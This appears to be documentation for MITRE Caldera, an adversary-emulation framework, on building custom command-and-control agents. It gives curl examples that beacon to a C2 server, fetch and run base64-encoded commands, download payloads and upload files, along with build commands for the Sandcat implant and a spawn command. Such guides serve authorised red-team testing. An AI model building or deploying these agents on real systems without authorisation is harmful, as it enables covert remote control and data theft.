# How to Build Agents

Building your own agent is a way to create a unique - or undetectable - footprint on compromised machines. Our
default agent, Sandcat, is a representation of what an agent can do. This agent is written in GoLang and offers
an extensible collection of command-and-control (C2) protocols, such as communicating over HTTP or GitHub Gist. 

You can extend Sandcat by adding your own C2 protocols in place or you can follow this guide to create your own agent 
from scratch.

## Understanding contacts

Agents are processes which are deployed on compromised hosts and connect with the C2 server periodically for instructions.
An agent connects to the server through a *contact*, which is a specific connection point on the server.

Each contact is defined in an independent Python module and is registered with the contact_svc when the server starts.

There are currently several built-in contacts available: http, tcp, udp, websocket, gist (via Github), and dns. 

For additional stealth, supporting agents can use communication tunnels to tunnel built-in contacts like HTTP, TCP, and UDP. For more information on C2 communication tunneling, see the [C2 tunneling section](C2-Tunneling.md).

## Building an agent: HTTP contact

Start by getting a feel for the HTTP endpoint, which are located in the contacts/contact_http.py module.
```
POST  /beacon 
```
### Part #1

Start by writing a POST request to the /beacon endpoint. 

In your agent code, create a flat JSON dictionary of key/value pairs and ensure the following properties are included
as keys. Add values which correlate to the host your agent will be running on. Note - all of these properties are
optional - but you should aim to cover as many as you can.

> If you don't include a platform and executors then the server will never provide instructions to the agent, as it 
won't know which ones are valid to send. 

* **server**: The location (IP or FQDN) of the C2 server  
* **platform**: The operating system
* **host**: The hostname of the machine
* **group**: Either red or blue. This determines if your agent will be used as a red or blue agent.
* **paw**: The current unique identifier for the agent, either initially generated by the agent itself or provided by the C2 on initial beacon.
* **username**: The username running the agent
* **architecture**: The architecture of the host
* **executors**: A list of executors allowed on the host
* **privilege**: The privilege level of the agent process, either User or Elevated
* **pid**: The process identifier of the agent
* **ppid**: The process identifier of the agent's parent process
* **location**: The location of the agent on disk
* **exe_name**: The name of the agent binary file
* **host_ip_addrs**: A list of valid IPv4 addresses on the host
* **proxy_receivers**: a dict (key: string, value: list of strings) that maps a peer-to-peer proxy protocol name to a list of addresses that the agent is listening on for peer-to-peer client requests.
* **deadman_enabled**: a boolean that tells the C2 server whether or not this agent supports deadman abilities. If this value is not provided, the server assumes that the agent does not support deadman abilities.
* **upstream_dest**: The "next hop" upstream destination address (e.g. IP or FQDN) that the agent uses to
reach the C2 server. If the agent is using peer-to-peer communication to reach the C2, this value will contain
the peer address rather than the C2 address.

At this point, you are ready to make a POST request with the profile to the /beacon endpoint. You should get back:

1) The recommended number of seconds to sleep before sending the next beacon
2) The recommended number of seconds (watchdog) to wait before killing the agent, once the server is unreachable (0 means infinite)
3) A list of instructions - base64 encoded.
```
profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh"]}' | base64)
curl -s -X POST -d $profile localhost:8888/beacon | base64 --decode
...{"paw": "dcoify", sleep": 59, "watchdog": 0, "instructions": "[...]"}
```

If you get a malformed base64 error, that means the operating system you are using is adding an empty space to the 
profile variable. You can prove this by 
```
echo $profile
```

To resolve this error, simply change the line to (note the only difference is '-w 0'):
```
profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh"]}' | base64 -w 0)
```

> The paw property returned back from the server represents a unique identifier for your new agent. Each
time you call the /beacon endpoint without this paw, a new agent will be created on the server - so you should ensure
that future beacons include it.

You can now navigate to the Caldera UI, click into the agents tab and view your new agent. 

### Part #2

Now it's time to execute the instructions. 

Looking at the previous response, you can see each instruction contains:

* **id**: The link ID associated to the ability
* **sleep**: A recommended pause to take after running this instruction
* **command**: A base64 encoded command to run
* **executor**: The executor to run the command under
* **timeout**: How long to let the command run before timing it out
* **payload**: A payload file name which must be downloaded before running the command, if applicable
* **uploads**: A list of file names that the agent must upload to the C2 server after running the command.

Now, you'll want to revise your agent to loop through all the instructions, executing each command
and POSTing the response back to the /beacon endpoint. You should pause after running each instruction, using the sleep time provided inside the instruction.
```
data=$(echo '{"paw":"$paw","results":[{"id":$id, "output":$output, "stderr":$stderr, "exit_code":$exit_code, "status": $status, "pid":$pid}]}' | base64)
curl -s -X POST -d $data localhost:8888/beacon
sleep $instruction_sleep
```

The POST details inside the result are as follows:

* **id**: the ID of the instruction you received
* **output**: the base64 encoded output (or stdout) from running the instruction
* **stderr**: the base64 encoded error messages (or stderr) from running the instruction
* **exit_code**: the OS or process exit code from running the instruction.  If unsure, leave blank. 
* **status**: the status code from running the instruction. If unsure, put 0.
* **pid**: the process identifier the instruction ran under. If unsure, put 0.

Once all instructions are run, the agent should sleep for the specified time in the beacon before calling the /beacon 
endpoint again. This process should repeat forever. 

### Part #3

Inside each instruction, there is an optional *payload* property that contains a filename of a file to download
before running the instruction. To implement this, add a file download capability to your agent, directing it to
the /file/download endpoint to retrieve the file:
```
payload='some_file_name.txt"
curl -X POST -H "file:$payload" http://localhost:8888/file/download > some_file_name.txt
```

### Part 4

Inside each instruction, there is an optional **uploads** property that contains a list of filenames to upload to the C2 after running the instruction and submitting the execution results. To implement this, add a file upload capability to your agent. If using the HTTP contact, the file upload should hit the `/file/upload` upload endpoint of the server.

### Part #5

You should implement the watchdog configuration. This property, passed to the agent in every beacon, contains
the number of seconds to allow a dead beacon before killing the agent. 

## Lateral Movement Tracking

Additionally, you may want to take advantage of Caldera's lateral movement tracking capabilities. Caldera's current 
implementation for tracking lateral movement depends on passing the ID of the Link spawning the agent as 
an argument to the agent's spawn command and upon the agent's check in, for this Link ID to be returned as part of the
agent's profile. The following section explains how lateral movement tracking has been enabled for the default agent,
Sandcat.  

## Manually Compiling Sandcat Agent

To create a standalone Sandcat agent executable without supplying CLI options or header values, you need to recompile the Sandcat agent with your Caldera server IP address and port number. 

Start by locating the `sandcat.go` file in the Sandcat plugin directory. The full path is `caldera\plugins\sandcat\gocat\sandcat.go`. This file contains default values that can be hardcoded. To create an agent with hardcoded credentials for your Caldera server, adjust the `server` variable to
 `"http://<YourCalderaServerIP>:<YourCalderaServerPort>"`. 

After modifying the file, recompile the Sandcat agent with your server configuration. Run the appropriate command from the `caldera\plugins\sandcat\gocat` directory, depending on the operating system in which the agent will be running:

- Windows\
`GOOS=windows go build -o ../payloads/sandcat.go-windows -ldflags="-s -w" sandcat.go`

- Linux\
`GOOS=linux go build -o ../payloads/sandcat.go-linux -ldflags="-s -w" sandcat.go`

- Mac/Unix\
`GOOS=darwin go build -o ../payloads/sandcat.go-darwin -ldflags="-s -w" sandcat.go`

If Go isn't installed in your Sandcat agent's environment, you can change the file extension of the agent before recompiling it. For instance:

- Windows\
`GOOS=windows go build -o ../payloads/sandcat.exe -ldflags="-s -w" sandcat.go`

- Linux\
`GOOS=linux go build -o ../payloads/sandcat.bin -ldflags="-s -w" sandcat.go`

- Mac/Unix\
`GOOS=darwin go build -o ../payloads/sandcat.app -ldflags="-s -w" sandcat.go`

### Sandcat

An example Sandcat spawn command has been copied from the [Service Creation ability](https://github.com/mitre/stockpile/blob/master/data/abilities/execution/95727b87-175c-4a69-8c7a-a5d82746a753.yml)
and included below for reference:
```
C:\Users\Public\s4ndc4t.exe -server #{server} -originLinkID #{origin_link_id}
```
If the Caldera server is running on `http://192.168.0.1:8888` and the ID of the Link with the spawn command is `cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81`,
the populated command will appear as:
```
C:\Users\Public\s4ndc4t.exe -server http://192.168.0.1:8888 -originLinkID cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81
```
The Sandcat agent stores the value of this global variable in its profile, which is then returned to the Caldera server
upon first check-in as a key\value pair `origin_link_id : cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81` in the JSON dictionary. The Caldera server will 
automatically store this pair when creating the Agent object and use it when generating the Attack Path graph in the
Debrief plugin.

**NOTE: The `origin_link_id` key is optional and not required for the Caldera server to register and use new agents as
 expected. It is only required to take advantage of the lateral movement tracking in the Debrief plugin.**  
